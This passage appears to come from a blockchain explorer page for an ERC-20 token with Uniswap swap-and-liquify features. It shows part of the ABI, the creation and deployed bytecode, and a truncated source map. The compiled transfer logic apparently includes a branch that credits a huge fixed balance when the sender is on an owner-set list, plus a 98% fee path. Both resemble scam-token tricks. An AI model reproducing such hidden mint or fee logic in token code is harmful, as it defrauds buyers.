"type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b031916736564cfeef6fd19102bd0fc9744dd7930df078ecb17815560c06040526080908152651113d390531160d21b60a0526007906200004b9082620004d9565b5060408051808201909152600581526405452554d560dc1b6020820152600890620000779082620004d9565b506009805460ff1916811781556200009190600a620006b8565b620000a1906305f5e100620006c9565b600a819055600b805461ffff1916610a001790556000600c819055600d819055600e819055600f8190556010819055601155620000ef90606490620000e89060196200040f565b9062000426565b6012819055601355600a546200010f90606490620000e89060196200040f565b60148190556015556017805461ffff60a81b1916600160a81b1790553480156200013857600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001926000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002349190620006e3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000282573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a89190620006e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031c9190620006e3565b601780546001600160a01b03199081166001600160a01b039384169081179092556000918252600460209081526040808420805460ff1990811660019081179092556016805490951688881617909455845486168552600383528185208054851682179055308552600590925280842080548416831790558354851684528084208054841683179055600654851684528320805490921617905554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040516200040091815260200190565b60405180910390a35062000738565b60006200041d8284620006c9565b90505b92915050565b60006200041d828462000715565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200045f57607f821691505b6020821081036200048057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004d457600081815260208120601f850160051c81016020861015620004af5750805b601f850160051c820191505b81811015620004d057828155600101620004bb565b5050505b505050565b81516001600160401b03811115620004f557620004f562000434565b6200050d816200050684546200044a565b8462000486565b602080601f8311600181146200054557600084156200052c5750858301515b600019600386901b1c1916600185901b178555620004d0565b600085815260208120601f198616915b82811015620005765788860151825594840194600190910190840162000555565b5085821015620005955787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005fc578160001904821115620005e057620005e0620005a5565b80851615620005ee57918102915b93841c9390800290620005c0565b509250929050565b600082620006155750600162000420565b81620006245750600062000420565b81600181146200063d5760028114620006485762000668565b600191505062000420565b60ff8411156200065c576200065c620005a5565b50506001821b62000420565b5060208310610133831016604e8410600b84101617156200068d575081810a62000420565b620006998383620005bb565b8060001904821115620006b057620006b0620005a5565b029392505050565b60006200041d60ff84168362000604565b8082028115828204841417620004205762000420620005a5565b600060208284031215620006f657600080fd5b81516001600160a01b03811681146200070e57600080fd5b9392505050565b6000826200073357634e487b7160e01b600052601260045260246000fd5b500490565b6116df80620007486000396000f3fe6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208e2955d2e4a52e4d02431526de6ad2449ae71c236a3311ab93398cdc01a8327b64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101d15760003560e01c806378109e54116100f7578063b09f126611610095578063dd62ed3e11610064578063dd62ed3e14610530578063eb6b678014610576578063f2fde38b146105a6578063ffffc962146105c657600080fd5b8063b09f1266146104a1578063cccdbe2e146104b6578063d28d8852146104eb578063dad58cb71461050057600080fd5b806395d89b41116100d157806395d89b4114610436578063a457c2d71461044b578063a9059cbb1461046b578063af465a271461048b57600080fd5b806378109e54146103ec5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780634a74bb021161013e5780634a74bb0214610368578063590f897e1461038957806370a082311461039f578063715018a6146103d557600080fd5b8063313ce567146102f0578063395093511461031257806340b9a54b1461033257806349bd5a5e1461034857600080fd5b806318160ddd116101ab57806318160ddd14610270578063220f66961461028f57806323b872dd146102b05780632ed5726e146102d057600080fd5b806306fdde03146101dd578063095ea7b3146102085780631694505e1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f26105f6565b6040516101ff9190611383565b60405180910390f35b34801561021457600080fd5b506102286102233660046113e9565b610688565b60405190151581526020016101ff565b34801561024457600080fd5b50601654610258906001600160a01b031681565b6040516001600160a01b0390911681526020016101ff565b34801561027c57600080fd5b50600a545b6040519081526020016101ff565b34801561029b57600080fd5b5060175461022890600160a01b900460ff1681565b3480156102bc57600080fd5b506102286102cb366004611415565b61069f565b3480156102dc57600080fd5b50600654610258906001600160a01b031681565b3480156102fc57600080fd5b5060095460405160ff90911681526020016101ff565b34801561031e57600080fd5b5061022861032d3660046113e9565b610708565b34801561033e57600080fd5b50610281600d5481565b34801561035457600080fd5b50601754610258906001600160a01b031681565b34801561037457600080fd5b5060175461022890600160a81b900460ff1681565b34801561039557600080fd5b50610281600e5481565b3480156103ab57600080fd5b506102816103ba366004611456565b6001600160a01b031660009081526001602052604090205490565b3480156103e157600080fd5b506103ea61073e565b005b3480156103f857600080fd5b5061028160125481565b34801561040e57600080fd5b5061028160145481565b34801561042457600080fd5b506000546001600160a01b0316610258565b34801561044257600080fd5b506101f26107e7565b34801561045757600080fd5b506102286104663660046113e9565b6107f6565b34801561047757600080fd5b506102286104863660046113e9565b610845565b34801561049757600080fd5b50610281600a5481565b3480156104ad57600080fd5b506101f2610852565b3480156104c257600080fd5b506104d66104d1366004611473565b6108e0565b604080519283526020830191909152016101ff565b3480156104f757600080fd5b506101f261090b565b34801561050c57600080fd5b5061022861051b366004611456565b60056020526000908152604090205460ff1681565b34801561053c57600080fd5b5061028161054b3660046114a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561058257600080fd5b50610228610591366004611456565b60036020526000908152604090205460ff1681565b3480156105b257600080fd5b506103ea6105c1366004611456565b610918565b3480156105d257600080fd5b506102286105e1366004611456565b60046020526000908152604090205460ff1681565b606060078054610605906114d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610631906114d1565b801561067e5780601f106106535761010080835404028352916020019161067e565b820191906000526020600020905b81548152906001019060200180831161066157829003601f168201915b5050505050905090565b6000610695338484610a32565b5060015b92915050565b60006106ac848484610af3565b6106fe84336106f98560405180606001604052806028815260200161165d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e37565b610a32565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106959185906106f99086610e63565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060088054610605906114d1565b600061069533846106f985604051806060016040528060258152602001611685602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e37565b6000610695338484610af3565b6008805461085f906114d1565b80601f016020809104026020016040519081016040528092919081815260200182805461088b906114d1565b80156108d85780601f106108ad576101008083540402835291602001916108d8565b820191906000526020600020905b8154815290600101906020018083116108bb57829003601f168201915b505050505081565b60008060006108f184600087610e76565b905060006108ff8683610f52565b96919550909350505050565b6007805461085f906114d1565b6000546001600160a01b031633146109725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610794565b6001600160a01b0381166109d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a5257506001600160a01b03821615155b610a925760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610794565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610b1f57506006546001600160a01b03838116911614155b8015610b3457506001600160a01b0382163014155b8015610b4e57506017546001600160a01b03838116911614155b8015610b7357506001600160a01b03821660009081526003602052604090205460ff16155b8015610b8d57506000546001600160a01b03848116911614155b15610c08576001600160a01b038216600090815260016020526040902054601254610bb88383611521565b1115610c065760405162461bcd60e51b815260206004820152601860248201527f4d61782077616c6c6574206c696d6974206578636565642100000000000000006044820152606401610794565b505b6000546001600160a01b03848116911614801590610c3457506000546001600160a01b03838116911614155b8015610c7c57506001600160a01b03831660009081526003602052604090205460ff1680610c7a57506001600160a01b03821660009081526003602052604090205460ff165b155b15610cd357601454811115610cd35760405162461bcd60e51b815260206004820152601c60248201527f4d6178207472616e73616374696f6e206c696d742065786365656421000000006044820152606401610794565b601754610ceb908390600160b01b900460ff16610f5e565b15610d04576017805460ff60b01b1916600160b01b1790555b600b5460ff61010082048116911610801590610d2a5750601754600160a01b900460ff16155b8015610d4457506017546001600160a01b03848116911614155b8015610d595750601754600160a81b900460ff165b15610d9857600b805460ff1916905530600090815260016020526040902054601454811115610d8757506014545b8015610d9657610d9681610f88565b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dda57506001600160a01b03831660009081526005602052604090205460ff165b15610de757506000610e25565b6017546001600160a01b0390811690851603610e0857600d54600c55610e25565b6017546001600160a01b0390811690841603610e2557600e54600c555b610e3184848484610fcd565b50505050565b60008184841115610e5b5760405162461bcd60e51b81526004016107949190611383565b505050900390565b6000610e6f8284611521565b9392505050565b6017546000908190600160b01b900460ff161580610eac57506001600160a01b03851660009081526003602052604090205460ff165b80610ecf57506001600160a01b03851660009081526004602052604090205460ff165b15610efb57610ef46064610eee600c548661103390919063ffffffff16565b9061103f565b9050610f3c565b60408051602080820183526008918290528251908101909252605a91829052610f3991606491610eee91610f2f919061154a565b869060ff16611033565b90505b610f498160ff8616610e63565b95945050505050565b6000610e6f8284611563565b6001600160a01b03821660009081526003602052604081205460ff168015610e6f57505015919050565b6017805460ff60a01b1916600160a01b179055610fa48161104b565b6006544790610fbc906001600160a01b0316826111a5565b50506017805460ff60a01b19169055565b80610fdf57610fda6111e0565b61100c565b600b805460ff16906000610ff283611576565b91906101000a81548160ff021916908360ff160217905550505b611017848484611225565b80610e3157610e31600f54600c55601054600d55601154600e55565b6000610e6f8284611595565b6000610e6f82846115ac565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061108057611080611534565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd91906115ce565b8160018151811061111057611110611534565b6001600160a01b0392831660209182029290920101526016546111369130911684610a32565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116f9085906000908690309042906004016115eb565b600060405180830381600087803b15801561118957600080fd5b505af115801561119d573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111db573d6000803e3d6000fd5b505050565b600c541580156111f05750600d54155b80156111fc5750600e54155b1561120357565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b60008061123283866108e0565b6001600160a01b038716600090815260016020526040902054919350915061125a9084610f52565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546112899083610e63565b6001600160a01b0385166000908152600160205260408082209290925530815220546112b59082610e63565b306000908152600160209081526040808320939093556001600160a01b038716825260039052205460ff161561132f576113156c0c9f2c9cd04674edea400000006001600160a01b03861660009081526001602052604090205490610e63565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161137491815260200190565b60405180910390a35050505050565b600060208083528351808285015260005b818110156113b057858101830151858201604001528201611394565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e657600080fd5b50565b600080604083850312156113fc57600080fd5b8235611407816113d1565b946020939093013593505050565b60008060006060848603121561142a57600080fd5b8335611435816113d1565b92506020840135611445816113d1565b929592945050506040919091013590565b60006020828403121561146857600080fd5b8135610e6f816113d1565b6000806040838503121561148657600080fd5b823591506020830135611498816113d1565b809150509250929050565b600080604083850312156114b657600080fd5b82356114c1816113d1565b91506020830135611498816113d1565b600181811c908216806114e557607f821691505b60208210810361150557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156106995761069961150b565b634e487b7160e01b600052603260045260246000fd5b60ff81811683821601908111156106995761069961150b565b818103818111156106995761069961150b565b600060ff821660ff810361158c5761158c61150b565b60010192915050565b80820281158282048414176106995761069961150b565b6000826115c957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115e057600080fd5b8151610e6f816113d1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561163b5784516001600160a01b031683529383019391830191600101611616565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208e2955d2e4a52e4d02431526de6ad2449ae71c236a3311ab93398cdc01a8327b64736f6c63430008130033

Deployed Bytecode Sourcemap

20132:9077:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22559:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23394:161;;;;;;;;;;-1:-1:-1;23394:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;23394:161:0;1023:187:1;21396:41:0;;;;;;;;;;-1:-1:-1;21396:41:0;;;;-1:-1:-1;;;;;21396:41:0;;;;;;-1:-1:-1;;;;;1406:32:1;;;1388:51;;1376:2;1361:18;21396:41:0;1215:230:1;22836:95:0;;;;;;;;;;-1:-1:-1;22916:7:0;;22836:95;;;1596:25:1;;;1584:2;1569:18;22836:95:0;1450:177:1;21479:28:0;;;;;;;;;;-1:-1:-1;21479:28:0;;;;-1:-1:-1;;;21479:28:0;;;;;;23563:313;;;;;;;;;;-1:-1:-1;23563:313:0;;;;;:::i;:::-;;:::i;20549:87::-;;;;;;;;;;-1:-1:-1;20549:87:0;;;;-1:-1:-1;;;;;20549:87:0;;;22745:83;;;;;;;;;;-1:-1:-1;22811:9:0;;22745:83;;22811:9;;;;2459:36:1;;2447:2;2432:18;22745:83:0;2317:184:1;23884:218:0;;;;;;;;;;-1:-1:-1;23884:218:0;;;;;:::i;:::-;;:::i;20921:26::-;;;;;;;;;;;;;;;;21444:28;;;;;;;;;;-1:-1:-1;21444:28:0;;;;-1:-1:-1;;;;;21444:28:0;;;21514:40;;;;;;;;;;-1:-1:-1;21514:40:0;;;;-1:-1:-1;;;21514:40:0;;;;;;20954:27;;;;;;;;;;;;;;;;22939:121;;;;;;;;;;-1:-1:-1;22939:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;23032:20:0;23005:7;23032:20;;;:11;:20;;;;;;;22939:121;11915:148;;;;;;;;;;;;;:::i;:::-;;21144:57;;;;;;;;;;;;;;;;21274:54;;;;;;;;;;;;;;;;11692:87;;;;;;;;;;-1:-1:-1;11738:7:0;11765:6;-1:-1:-1;;;;;11765:6:0;11692:87;;22650;;;;;;;;;;;;;:::i;24110:269::-;;;;;;;;;;-1:-1:-1;24110:269:0;;;;;:::i;:::-;;:::i;23068:167::-;;;;;;;;;;-1:-1:-1;23068:167:0;;;;;:::i;:::-;;:::i;20754:51::-;;;;;;;;;;;;;;;;20682:31;;;;;;;;;;;;;:::i;28932:274::-;;;;;;;;;;-1:-1:-1;28932:274:0;;;;;:::i;:::-;;:::i;:::-;;;;3460:25:1;;;3516:2;3501:18;;3494:34;;;;3433:18;28932:274:0;3286:248:1;20645:30:0;;;;;;;;;;;;;:::i;20492:44::-;;;;;;;;;;-1:-1:-1;20492:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;23243:143;;;;;;;;;;-1:-1:-1;23243:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;23351:18:0;;;23324:7;23351:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;23243:143;20387:42;;;;;;;;;;-1:-1:-1;20387:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12071:244;;;;;;;;;;-1:-1:-1;12071:244:0;;;;;